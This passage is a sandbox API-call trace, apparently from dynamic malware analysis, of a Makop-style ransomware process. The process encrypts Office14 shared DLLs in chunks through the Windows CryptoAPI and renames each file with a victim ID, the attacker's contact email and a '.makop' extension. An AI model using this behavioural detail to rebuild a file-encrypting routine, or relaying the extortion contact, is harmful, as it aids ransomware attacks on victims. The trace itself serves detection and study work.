lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11578, lpOverlapped=0x0) returned 1 [0089.521] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11580, dwBufLen=0x11580 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11580) returned 1 [0089.521] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.521] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x11580, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x11580, lpOverlapped=0x0) returned 1 [0089.522] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.522] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x11654, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.522] SetEndOfFile (hFile=0xf0) returned 1 [0089.530] GetProcessHeap () returned 0x48a0000 [0089.530] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbfe8 | out: hHeap=0x48a0000) returned 1 [0089.530] GetProcessHeap () returned 0x48a0000 [0089.530] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.530] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 114 [0089.531] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\EXP_XPS.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\exp_xps.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.532] CloseHandle (hObject=0xf0) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd66e7600, ftCreationTime.dwHighDateTime=0x1cb7002, ftLastAccessTime.dwLowDateTime=0xe572de20, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xd66e7600, ftLastWriteTime.dwHighDateTime=0x1cb7002, nFileSizeHigh=0x0, nFileSizeLow=0x26560, dwReserved0=0x0, dwReserved1=0x0, cFileName="FLTLDR.EXE", cAlternateFileName="")) returned 1 [0089.532] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7bf3f00, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x53907610, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7bf3f00, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x417360, dwReserved0=0x0, dwReserved1=0x0, cFileName="IACOM2.DLL", cAlternateFileName="")) returned 1 [0089.532] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL") returned 66 [0089.532] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.534] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=4289376) returned 1 [0089.535] GetProcessHeap () returned 0x48a0000 [0089.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.535] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.535] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.535] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.535] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.535] GetProcessHeap () returned 0x48a0000 [0089.535] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0089.535] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0089.535] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.535] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0089.539] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0089.540] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0089.540] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0089.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.540] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0089.540] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.540] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.540] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.541] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.619] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.622] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.622] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x417424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.624] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.624] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.624] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.634] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.650] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x15d120, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.652] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x417424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.653] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.653] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.653] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.661] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.663] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x3d7360, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.663] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.665] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x417424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.665] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.666] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.666] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x417424, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.667] SetEndOfFile (hFile=0xf0) returned 1 [0089.674] GetProcessHeap () returned 0x48a0000 [0089.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0089.675] GetProcessHeap () returned 0x48a0000 [0089.675] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.675] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 113 [0089.675] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\IACOM2.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\iacom2.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.676] CloseHandle (hObject=0xf0) returned 1 [0089.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe164800, ftCreationTime.dwHighDateTime=0x1cac048, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe164800, ftLastWriteTime.dwHighDateTime=0x1cac048, nFileSizeHigh=0x0, nFileSizeLow=0x31d88, dwReserved0=0x0, dwReserved1=0x0, cFileName="LICLUA.EXE", cAlternateFileName="")) returned 1 [0089.676] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc821f600, ftCreationTime.dwHighDateTime=0x1cbdfb3, ftLastAccessTime.dwLowDateTime=0xd776b9a0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc821f600, ftLastWriteTime.dwHighDateTime=0x1cbdfb3, nFileSizeHigh=0x0, nFileSizeLow=0x183d780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSO.DLL", cAlternateFileName="")) returned 1 [0089.676] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL") returned 63 [0089.677] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.677] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=25417600) returned 1 [0089.677] GetProcessHeap () returned 0x48a0000 [0089.677] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.678] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.678] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.678] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.678] GetProcessHeap () returned 0x48a0000 [0089.678] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0089.678] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0089.678] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.678] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3738*, lpNumberOfBytesWritten=0x6577aa4*=0x30, lpOverlapped=0x0) returned 1 [0089.686] WriteFile (in: hFile=0xf0, lpBuffer=0x6577aac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577aac*, lpNumberOfBytesWritten=0x6577aa4*=0x4, lpOverlapped=0x0) returned 1 [0089.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa4*=0x10, lpOverlapped=0x0) returned 1 [0089.686] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa4*=0x80, lpOverlapped=0x0) returned 1 [0089.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0089.687] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa4*=0x8, lpOverlapped=0x0) returned 1 [0089.687] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.687] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.687] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.687] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.699] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.702] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.702] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x183d844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.704] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.704] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.705] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.727] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.732] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x8147d5, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.732] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x183d844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.734] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.734] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x6577a78 | out: lpNewFilePointer=0x0) returned 1 [0089.735] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x6577a6c, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577a6c*=0x40000, lpOverlapped=0x0) returned 1 [0089.743] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000, dwBufLen=0x40000 | out: pbData=0x6370020*, pdwDataLen=0x6577a74*=0x40000) returned 1 [0089.745] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x17fd780, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.745] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577a70*=0x40000, lpOverlapped=0x0) returned 1 [0089.747] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x183d844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.748] WriteFile (in: hFile=0xf0, lpBuffer=0x6577a78*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577a70, lpOverlapped=0x0 | out: lpBuffer=0x6577a78*, lpNumberOfBytesWritten=0x6577a70*=0x8, lpOverlapped=0x0) returned 1 [0089.748] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.748] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x183d844, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.748] SetEndOfFile (hFile=0xf0) returned 1 [0089.758] GetProcessHeap () returned 0x48a0000 [0089.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48c3738 | out: hHeap=0x48a0000) returned 1 [0089.758] GetProcessHeap () returned 0x48a0000 [0089.758] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0089.759] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 110 [0089.759] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSO.DLL.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\mso.dll.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0089.776] CloseHandle (hObject=0xf0) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xee94c400, ftCreationTime.dwHighDateTime=0x1cb7007, ftLastAccessTime.dwLowDateTime=0xd6225500, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xee94c400, ftLastWriteTime.dwHighDateTime=0x1cb7007, nFileSizeHigh=0x0, nFileSizeLow=0x73b60, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSOICONS.EXE", cAlternateFileName="")) returned 1 [0089.776] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe5e15000, ftCreationTime.dwHighDateTime=0x1cbf3e5, ftLastAccessTime.dwLowDateTime=0xec32f3e0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe5e15000, ftLastWriteTime.dwHighDateTime=0x1cbf3e5, nFileSizeHigh=0x0, nFileSizeLow=0x4529780, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSORES.DLL", cAlternateFileName="")) returned 1 [0089.776] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL") returned 66 [0089.776] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\MSORES.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\msores.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0089.777] GetFileSizeEx (in: hFile=0xf0, lpFileSize=0x6577ab8 | out: lpFileSize=0x6577ab8*=72521600) returned 1 [0089.777] GetProcessHeap () returned 0x48a0000 [0089.777] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0089.777] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0089.778] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0089.778] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aa8 | out: phKey=0x6577aa8*=0x48c7128) returned 1 [0089.778] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0089.778] GetProcessHeap () returned 0x48a0000 [0089.778] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x30) returned 0x48c3738 [0089.778] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30, dwBufLen=0x30 | out: pbData=0x48c3738*, pdwDataLen=0x6577a88*=0x30) returned 1 [0089.778] CryptDestroyKey (hKey=0x48c7128) returned 1 [0089.778] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3738*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x6577aa4, lpOverlapped=0x0 | out: 